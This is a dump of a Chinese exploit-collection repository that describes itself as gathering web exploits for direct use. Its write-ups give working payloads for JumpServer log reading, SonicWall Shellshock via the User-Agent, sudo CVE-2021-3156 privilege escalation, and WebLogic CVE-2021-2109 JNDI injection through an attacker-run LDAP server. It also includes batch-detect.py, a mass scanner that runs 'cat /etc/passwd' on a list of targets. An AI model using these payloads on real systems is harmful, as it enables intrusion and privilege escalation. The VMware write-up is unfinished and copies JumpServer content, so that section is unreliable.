24 |             is64bitArch=`uname -m`
25 |             if [ "x$is64bitArch" == "xx86_64" ]; then
26 |             echo -e "[\033[32m OK \033[0m]"
27 |             else
28 |                 echo -e "[\033[31m ERROR \033[0m] 操作系统必须是 64 位的，32 位的不支持"
29 |                 flag=1
30 |             fi
31 |         else
32 |             echo -e "[\033[31m ERROR \033[0m] 操作系统类型版本不符合要求，请使用 CentOS 7"
33 |             flag=1
34 |         fi
35 |     fi
36 | else
37 |     echo -e "[\033[31m ERROR \033[0m] 操作系统类型版本不符合要求，请使用 CentOS 7"
38 |     flag=1
39 | fi
40 | echo -ne "CPU     Check \t........................ "
41 | processor=`cat /proc/cpuinfo| grep "processor"| wc -l`
42 | if [ $processor -lt 2 ]; then
43 |     echo -e "[\033[31m ERROR \033[0m] CPU 小于 2核，JumpServer 所在机器的 CPU 需要至少 2核"
44 |     flag=1
45 | else
46 |     echo -e "[\033[32m OK \033[0m]"
47 | fi
48 | 
49 | echo -ne "Memory  Check \t........................ "
50 | memTotal=`cat /proc/meminfo | grep MemTotal | awk '{print $2}'`
51 | if [ $memTotal -lt 7500000 ]; then
52 |     echo -e "[\033[31m ERROR \033[0m] 内存小于 8G，JumpServer 所在机器的内存需要至少 8G"
53 |     flag=1
54 | else
55 |     echo -e "[\033[32m OK \033[0m]"
56 | fi
57 | if [ $flag -eq 1 ]; then
58 |     echo "安装环境检测未通过，请查阅上述环境检测结果"
59 |     exit 1
60 | fi
61 | which wget >/dev/null 2>&1
62 | if [ $? -ne 0 ];then
63 |     yum install -y wget
64 | fi
65 | 
66 | Version=$(curl -s 'https://api.github.com/repos/jumpserver/installer/releases/latest' | grep "tag_name" | head -n 1 | awk -F ":" '{print $2}' | sed 's/\"//g;s/,//g;s/ //g')
67 | 
68 | cd /opt
69 | if [ ! -d "/opt/jumpserver-installer-$Version" ]; then
70 |     wget https://github.com/jumpserver/installer/releases/download/$Version/jumpserver-installer-$Version.tar.gz || {
71 |         rm -rf /opt/jumpserver-installer-$Version.tar.gz
72 |         echo -e "\033[31m [ERROR] 下载 jumpserver-installer 失败, 请检查网络是否正常或尝试重新执行脚本 \033[0m"
73 |         exit 1
74 |     }
75 |     tar -xf /opt/jumpserver-installer-$Version.tar.gz -C /opt || {
76 |         rm -rf /opt/jumpserver-installer-$Version
77 |         echo -e "\033[31m [ERROR] 解压 jumpserver-installer 失败, 请检查网络是否正常或尝试重新执行脚本 \033[0m"
78 |         exit 1
79 |     }
80 |     rm -rf /opt/jumpserver-installer-$Version.tar.gz
81 | fi
82 | 
83 | cd /opt/jumpserver-installer-$Version
84 | 
85 | JMS_Version="v2.6.1"
86 | 
87 | sed -i "s/VERSION=.*/VERSION=$JMS_Version/g" /opt/jumpserver-installer-$Version/static.env
88 | 
89 | echo ""
90 | echo -e "\033[33m JumpServer 部署脚本已经下载至 /opt/jumpserver-installer-$Version 目录 \n \033[0m"
91 | sleep 5s
92 | 
93 | export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn
94 | ./jmsctl.sh install
95 | 


--------------------------------------------------------------------------------
/2021_01_18_JumpServer远程代码执行漏洞/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | JumpServer：一款在中国流行的开源堡垒机
 3 | 
 4 | # 0x01 复现环境
 5 | 复现环境：本地环境 centos7 x64  
 6 | 复现版本：JumpServer v2.6.1  
 7 | 环境搭建：  
 8 | 1、使用官方提供的v2.6.1的quick_start.sh安装后，竟然后v2.6.2，这个坑真是无语了，使用知识星球师傅提供的安装脚本，安装后是v2.6.1（这个安装脚本执行后可能会报错，多试几次），安装脚本被上载到当前目录下  
 9 | 2、执行quick_start.sh后，一路默认即可  
10 | 3、安装完成后需要切换到/opt/jumpserver-installer-v2.6.1/下执行jmsctl.sh，直接使用绝对路径会报错  
11 | 4、需要开启iptables，否则报错  
12 | 5、重新安装2.6.1后，本地能访问，远程不能访问，无奈再次重新安装centos7以及JumpServer v2.6.1
13 | 
14 | # 0x02 利用条件
15 | 无
16 | 
17 | # 0x03 影响版本
18 | JumpServer < v2.6.2  
19 | JumpServer < v2.5.4  
20 | JumpServer < v2.4.5
21 | 
22 | # 0x04 漏洞复现
23 | 攻击环境：kali x64  
24 | chrome下安装扩展：https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related  
25 | 远程日志读取payload：  
26 | ```
27 | ws://192.168.1.73:8080/ws/ops/tasks/log/
28 | {"task":"/opt/jumpserver/logs/jumpserver"}
29 | ```
30 | 如下图，红色圈出的部分即为读取到的远程服务器上的日志内容  
31 | ![image](./a1.png)
32 | 
33 | 如下图，红色圈出的部分即为服务器上的日志内容  
34 | ![image](./a0.png)
35 | 
36 | 至于远程命令执行，首先需要在返回的信息中获取Taskid
37 | ```
38 | ws://xx.xx.xx.xx:8080/ws/ops/tasks/log/
39 | {"task":"/opt/jumpserver/logs/jumpserver"}
40 | ```
41 | 如下图（下图摘自别人的文章）  
42 | ![image](./0.png)  
43 | 利用上一步得到的Taskid，可进行进一步的信息获取，将Taskid值send给接口，即可查看到当前任务的详细信息。
44 | ```
45 | {"task":"dc0533d8-078a-47c0-b554-01f368a89a19"}
46 | ```
47 | 可能有些小伙伴在复现读取Taskid信息时没有成功，我也一样，我们获取到的内容取决于日志记录的内容，一些Taskid可能已经失效了，在进行测试的时候可以看一下当前Taskid对应的时间，过于久远的id肯定是无法获取详情的。同理也能解释为什么在很多次测试中没有搜索到system_user这个字段，如果在实战中运气足够好，正好赶上管理员登陆了系统未退出，在日志中获取到system_user、user、asset这三个字段，则可以RCE，脚本参考jumpserver-rce.py
48 | 
49 | 原理是模拟web terminal，前提需要user、system_user、assert这三个字段的值，这3个一般读取不到，利用难度较大
50 | 
51 | # 0x05 批量脚本
52 | 无
53 | 
54 | # 0x06 参考链接
55 | https://articles.zsxq.com/id_5raonmuwqrru.html  
56 | https://mp.weixin.qq.com/s?__biz=MzI5ODk3OTM1Ng==&mid=2247497420&idx=1&sn=49b6179b24a4275f016a80b16ba401aa&chksm=ec9f2fbfdbe8a6a9318f7ba90eaca911692ae24f72591225efb19eab4852cf8e893936ee2a06&mpshare=1&scene=1&srcid=01183gic1iE9CgPOeU1ZKNoQ&sharer_sharetime=1610978241607&sharer_shareid=39e4b7efe0bb5b2e5770f3a926f3062d&exportkey=AUvxarwZSXcAl0lXgRSI%2F2o%3D&pass_ticket=rI5WvWxPWj9wFDSMj42xLhizShWaMpx4MwP7SFhDHLUZpJ0zrnUrOlEEfOlgFO8t&wx_header=0#rd
57 | 


--------------------------------------------------------------------------------
/2021_01_27_SonicWall SSL-VPN远程命令执行漏洞复现/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2021_01_27_SonicWall SSL-VPN远程命令执行漏洞复现/0.png


--------------------------------------------------------------------------------
/2021_01_27_SonicWall SSL-VPN远程命令执行漏洞复现/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2021_01_27_SonicWall SSL-VPN远程命令执行漏洞复现/1.png


--------------------------------------------------------------------------------
/2021_01_27_SonicWall SSL-VPN远程命令执行漏洞复现/batch-detect.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python3
 2 | 
 3 | '''
 4 | Author: ybdt
 5 | Date: 2021/01/27
 6 | '''
 7 | 
 8 | import sys
 9 | import requests
10 | import platform
11 | 
12 | def execute_command(target, command):
13 |     url = target + "/cgi-bin/jarrewrite.sh"
14 |     headers = {"User-Agent": "() { :; }; echo ; /bin/bash -c '%s'" %(command)}
15 |     try :
16 |         r = requests.get(url=url, headers=headers, verify=False)
17 |     except:
18 |         return "";
19 |     return r.text
20 | 
21 | def check_exploitable(target):
22 |     #print( "(+) Testing %s for pwnability..." % (target) );
23 |     output = execute_command(target=target, command="cat /etc/passwd");
24 |     if "root:" in output:
25 |         return True;
26 |     else:
27 |         return False;
28 | 
29 | def main():
30 |     if len(sys.argv) != 2:
31 |         sys.exit("Usage: python3 batch-detect.py urls.txt");
32 |     else:
33 |         file = sys.argv[1];
34 |     
35 |     with open(file, "r") as f:
36 |         lines = f.readlines();
37 |         for line in lines:
38 |             if platform.system() == "Windows":
39 |                 line = line.strip("\r\n");
40 |             elif platform.system() == "Linux":
41 |                 line = line.strip("\n");
42 |             is_vulnerable = check_exploitable("https://" + line);
43 |             if is_vulnerable:
44 |                 print("http://" + line + " is vulnerable");
45 |             else:
46 |                 print("http://" + line + " is not vulnerable");
47 | 
48 | main();


--------------------------------------------------------------------------------
/2021_01_27_SonicWall SSL-VPN远程命令执行漏洞复现/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | SonicWall：一款VPN解决方案，包含WEB界面、VPN功能等
 3 | 
 4 | # 0x01 复现环境
 5 | 复现环境：公司实验室  
 6 | 复现版本：SonicWall  
 7 | 环境搭建：  
 8 | 略
 9 | 
10 | # 0x02 利用条件
11 | 无
12 | 
13 | # 0x03 影响版本
14 | SonicWall SSL-VPN < 8.0.0.4
15 | 
16 | # 0x04 漏洞复现
17 | 攻击环境：kali x64  
18 | 访问目标，burp抓包，将访问地址修改为
19 | ```
20 | /cgi-bin/jarrewrite.sh
21 | ```
22 | 将User-Agent修改为
23 | ```
24 | User-Agent: () { :; }; echo ; /bin/bash -c 'cat /etc/passwd'
25 | ```
26 | 成功执行命令，如下图
27 | ![image](./0.png)
28 | 
29 | # 0x05 批量脚本
30 | 批量脚本见batch-detect.py（脚本很简陋，正在写脚本时，领导分配了一个渗透任务，实在没时间了。。），执行结果如下：  
31 | ![image](./1.png)
32 | 
33 | # 0x06 参考链接
34 | https://github.com/darrenmartyn/VisualDoor/blob/main/visualdoor.py
35 | 


--------------------------------------------------------------------------------
/2021_01_27_SonicWall SSL-VPN远程命令执行漏洞复现/urls.txt:
--------------------------------------------------------------------------------
1 | www.example.com:8080
2 | 1.1.1.1:8090
3 | 


--------------------------------------------------------------------------------
/2021_02_06_Linux sudo权限提升漏洞复现（CVE-2021-3156）/CVE-2021-3156.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2021_02_06_Linux sudo权限提升漏洞复现（CVE-2021-3156）/CVE-2021-3156.zip


--------------------------------------------------------------------------------
/2021_02_06_Linux sudo权限提升漏洞复现（CVE-2021-3156）/a0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2021_02_06_Linux sudo权限提升漏洞复现（CVE-2021-3156）/a0.png


--------------------------------------------------------------------------------
/2021_02_06_Linux sudo权限提升漏洞复现（CVE-2021-3156）/a1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2021_02_06_Linux sudo权限提升漏洞复现（CVE-2021-3156）/a1.png


--------------------------------------------------------------------------------
/2021_02_06_Linux sudo权限提升漏洞复现（CVE-2021-3156）/b0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2021_02_06_Linux sudo权限提升漏洞复现（CVE-2021-3156）/b0.png


--------------------------------------------------------------------------------
/2021_02_06_Linux sudo权限提升漏洞复现（CVE-2021-3156）/b1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2021_02_06_Linux sudo权限提升漏洞复现（CVE-2021-3156）/b1.png


--------------------------------------------------------------------------------
/2021_02_06_Linux sudo权限提升漏洞复现（CVE-2021-3156）/c0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2021_02_06_Linux sudo权限提升漏洞复现（CVE-2021-3156）/c0.png


--------------------------------------------------------------------------------
/2021_02_06_Linux sudo权限提升漏洞复现（CVE-2021-3156）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | sudo：linux下用于允许系统管理员让普通用户执行一些或者全部的root命令的一个工具
 3 | 
 4 | # 0x01 复现环境
 5 | 使用环境：本地环境（ubuntu18.04.2_x64_en-us）  
 6 | 复现版本：sudo 1.8.21p2  
 7 | 环境搭建：  
 8 | 1、从ubuntu官网下载镜像，并安装
 9 | 
10 | # 0x02 利用条件
11 | 无
12 | 
13 | # 0x03 影响版本
14 | sudo 1.8.2 - 1.8.31p2  
15 | sudo 1.9.0 - 1.9.5p1
16 | 
17 | 不受影响版本  
18 | sudo >= 1.9.5p2
19 | 
20 | # 0x04 漏洞复现
21 | 注意：The libnss_X directory must be present in the present working directory while running the exploit
22 | 
23 | ubuntu18.04.2_x64_en-us下用户ybdt（在sudo组中）：  
24 | 1、首先执行“sudo -s /”检测漏洞是否存在，输出中以“sudoedit:”开头，表明漏洞很可能存在，并查看系统版本，如下图  
25 | ![image](./a0.png)  
26 | 2、下载攻击代码git clone [https://github.com/r4j0x00/exploits](https://github.com/r4j0x00/exploits)（没有git需要先安装git，“sudo apt install git”）  
27 | 3、编译攻击代码make（没有make、gcc需要先安装，“sudo apt install make”，“sudo apt install gcc”）  
28 | 4、执行攻击，如下图  
29 | ![image](./a1.png)
30 | 
31 | ubuntu18.04.2_x64_en-us下用户test（未在sudo组中）：  
32 | 1、查看系统版本，并执行“sudo -s /”检测漏洞是否存在，输出中以“sudoedit:”开头，表明漏洞很可能存在，如下图  
33 | ![image](./b0.png)  
34 | 2、执行之前编译好的攻击程序，如下图  
35 | ![image](./b1.png)
36 | 
37 | 我在测试ubuntu20.04.1_x64_en-us的时候，期间出现过一个程序崩溃的提示，并不能成功，如下图  
38 | ![image](./c0.png)  
39 | 
40 | # 0x05 批量脚本
41 | 无
42 | 
43 | # 0x06 参考链接
44 | https://github.com/r4j0x00/exploits/tree/master/CVE-2021-3156_one_shot
45 | 


--------------------------------------------------------------------------------
/2021_02_24_WebLogic远程命令执行漏洞复现（CVE-2021-2109）/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2021_02_24_WebLogic远程命令执行漏洞复现（CVE-2021-2109）/0.png


--------------------------------------------------------------------------------
/2021_02_24_WebLogic远程命令执行漏洞复现（CVE-2021-2109）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | Oracle WebLogic：一款流行的JAVA应用服务器
 3 | 
 4 | # 0x01 复现环境
 5 | 复现环境：本地搭建的环境（win10 1909）  
 6 | 复现版本：WebLogic v12.2.1.4.0  
 7 | 环境搭建：  
 8 | 参考[https://mp.weixin.qq.com/s/NL9o7MVG8j8zikeGUfTsVA](https://mp.weixin.qq.com/s/NL9o7MVG8j8zikeGUfTsVA)中的环境搭建部分
 9 | 
10 | # 0x02 利用条件
11 | 需要登陆WebLogic控制台
12 | 
13 | # 0x03 影响版本
14 | 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0
15 | 
16 | # 0x04 漏洞复现
17 | 攻击环境：kali x64  
18 | 下载JNDIExploit：https://github.com/feihong-cs/JNDIExploit/releases/download/v.1.11/JNDIExploit.v1.11.zip  
19 | 启动JNDIExploit：  
20 | ```
21 | java -jar ./JNDIExploit-v1.11.jar -i 192.168.1.5#其中192.168.1.5为本机IP
22 | ```
23 | 登录WebLogic控制台  
24 | 刷新WebLogic控制台，burp抓包，替换为如下payload
25 | ```
26 | POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.1;5:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
27 | Host: 192.168.1.7:7001
28 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
29 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
30 | Accept-Language: en-US,en;q=0.5
31 | Accept-Encoding: gzip, deflate
32 | cmd:whoami
33 | Referer: http://192.168.1.7:7001/console/login/LoginForm.jsp
34 | Connection: close
35 | Cookie: ADMINCONSOLESESSION=-XjUGJChfEBvqXqZBo748vnBGr895IIDGF5cmnoR9HkR_uY8Hrfd!-1181708775
36 | Upgrade-Insecure-Requests: 1
37 | Pragma: no-cache
38 | Cache-Control: no-cache
39 | ```
40 | 如下图，可以看到成功执行命令whoami  
41 | ![image](./0.png)
42 | 
43 | 此漏洞可配合Weblogic未授权访问漏洞（CVE-2020-14882）使用
44 | 
45 | # 0x05 批量脚本
46 | 无
47 | 
48 | # 0x06 参考链接
49 | https://www.o2oxy.cn/3019.html
50 | 


--------------------------------------------------------------------------------
/2021_02_28_VMware vCenter Server未授权文件上传导致RCE漏洞复现/pic/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2021_02_28_VMware vCenter Server未授权文件上传导致RCE漏洞复现/pic/0.png


--------------------------------------------------------------------------------
/2021_02_28_VMware vCenter Server未授权文件上传导致RCE漏洞复现/pic/readme.md:
--------------------------------------------------------------------------------
1 | 
2 | 


--------------------------------------------------------------------------------
/2021_02_28_VMware vCenter Server未授权文件上传导致RCE漏洞复现/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | VMware vSphere是一个类似MS Office的套件，它包含VMware ESXi、VMware vCenter Server、VMware vSphere Client  
 3 | VMware ESXi：安装在物理机上，负责虚拟化服务  
 4 | VMware vCenter Server：通常安装在虚拟机上，负责管理虚拟机  
 5 | VMware vSphere Client：通常安装在管理员的笔记本上面，负责连接到VMware vCenter Server来管理虚拟机，或直接管理虚拟机  
 6 | 通常部署在内网中  
 7 | 关于它们的下载，可参考这篇文章[https://mp.weixin.qq.com/s/jI3kMCq5FMnNkgvKr1tFMg](https://mp.weixin.qq.com/s/jI3kMCq5FMnNkgvKr1tFMg)提到的（使用浏览器会超慢，使用迅雷会快很多）  
 8 | 具体关于它们都是干什么的，可参考这篇文章https://blog.csdn.net/eastyell/article/details/91581878  
 9 | 最后给不熟悉VMware vSphere的同学提一句，VMware vSphere Client长这样  
10 | ![image](./pic/0.png)
11 | 
12 | # 0x01 复现环境
13 | #### 使用本地搭建的环境：  
14 | win10 1909 x64 + VMware Workstation 16 Pro + VMware-VMvisor-Installer-7.0.0-15843807.x86_64.iso + VMware-VCSA-all-7.0.0-15952498.iso  
15 | #### 复现版本：  
16 | VMware vCenter Server 7.0.0  
17 | #### 环境搭建过程：  
18 | 1、安装VMware ESXi，参考这篇文章[https://blog.51cto.com/10802692/2409826](https://blog.51cto.com/10802692/2409826)，但是我在安装完创建虚拟机时，报错“无法打开虚拟机 CentOS7-x64 的电源。资源不足。 单击此处了解更多详细信息。”，原因未知，先放一边  
19 | 2、
20 | 
21 | # 0x02 利用条件
22 | 无
23 | 
24 | # 0x03 影响版本
25 | JumpServer < v2.6.2  
26 | JumpServer < v2.5.4  
27 | JumpServer < v2.4.5
28 | 
29 | # 0x04 漏洞复现
30 | 攻击环境：kali x64  
31 | chrome下安装扩展：https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related  
32 | 使用如下payload：  
33 | 
34 | 如下图，红色圈出的部分即为读取到的远程服务器上的日志内容  
35 | ![image](./a1.png)
36 | 
37 | 如下图，红色圈出的部分即为服务器上的日志内容  
38 | ![image](./a0.png)
39 | 
40 | # 0x05 批量脚本
41 | 无
42 | 
43 | # 0x06 参考链接
44 | https://mp.weixin.qq.com/s/jI3kMCq5FMnNkgvKr1tFMg
45 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 项目宗旨
2 | 近1年的web exploit收集整理，方便直接利用
3 | 


--------------------------------------------------------------------------------